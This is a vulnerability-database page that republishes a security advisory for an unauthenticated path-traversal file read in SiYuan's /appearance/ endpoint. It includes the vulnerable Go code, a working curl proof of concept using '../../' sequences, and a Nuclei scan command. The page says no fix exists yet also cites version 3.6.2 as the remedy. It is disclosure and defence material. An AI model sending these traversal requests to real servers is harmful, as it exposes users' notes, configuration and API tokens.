Siyuan has an Unauthenticated Arbitrary File Read via Path TraversalGHSA-hhgj-gg9h-rjp7
HIGHFix: siyuan-note/siyuan@009bb59GHSA-hhgj-gg9h-rjp7 is a high-severity (CVSS 7.5) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hhgj-gg9h-rjp7.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Siyuan kernel exposes an unauthenticated file-serving endpoint under */appearance/filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.
Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.
Details
Vulnerable Code Location
File: kernel/server/serve.go
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
filePath := filepath.Join(
appearancePath,
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
)
...
c.File(filePath)
})
Technical Root Cause
The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.
Key issues:
1. Unsanitized User Input
The path component extracted from the request is not validated or normalized to prevent traversal.
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
This preserves sequences such as:
../
..\ (Windows)
2. Unsafe Path Joining
filepath.Join() does not enforce directory confinement.
This escapes the intended directory.
3. Direct File Serving
The resolved path is served without verification:
c.File(filePath)
Authentication Bypass (Unauthenticated Access)
Authentication middleware explicitly skips /appearance/ requests.
File: session.go
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
c.Next()
return
}
This allows attackers to access the vulnerable endpoint without a session or token.
Exploitation Scenario
A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.
Example request:
GET /appearance/../../data/conf.json HTTP/1.1
Host: target
Because authentication is bypassed, the attack requires no credentials.
PoC
Step 1 — Create marker file
mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt
Step 2 — Run SiYuan container
docker run -d \
-p 6806:6806 \
-e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan \
--workspace=/siyuan/workspace
Step 3 — Confirm service works
Open in browser:
http://127.0.0.1:6806
Exploit PoC
Method A — using CURL command
Use --path-as-is so curl does NOT normalize ../.
curl -v --path-as-is \
"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"
Output
HTTP/1.1 200 OK
POC_EXPLOITED
Method B — Using Browser
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt
If method B is not working, use method A, which is CURL command to do the exploit
Impact
An unauthenticated attacker can read arbitrary files accessible to the server process, including:
- Workspace configuration files
- User notes and stored data
- API tokens and secrets
- Local system files (depending on permissions)
This may lead to:
- Sensitive information disclosure
- Credential leakage
- Further compromise through exposed secrets
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Affected Products
siyuanb3logDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of github.com/siyuan-note/siyuan/kernel for GHSA-hhgj-gg9h-rjp7. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How to detect GHSA-hhgj-gg9h-rjp7
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-hhgj-gg9h-rjp7 -u https://target- Template
- SiYuan <= v3.6.1 - Path Traversal
- Severity
- high
- Impact
- Unauthenticated attackers can read arbitrary files accessible to the server, potentially exposing sensitive information.
- Remediation
- Update to version 3.6.2 or later.
Template by ProjectDiscovery nuclei-templates (WRG-11), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-hhgj-gg9h-rjp7 in your dependencies?
Find it across Go, including transitive dependencies.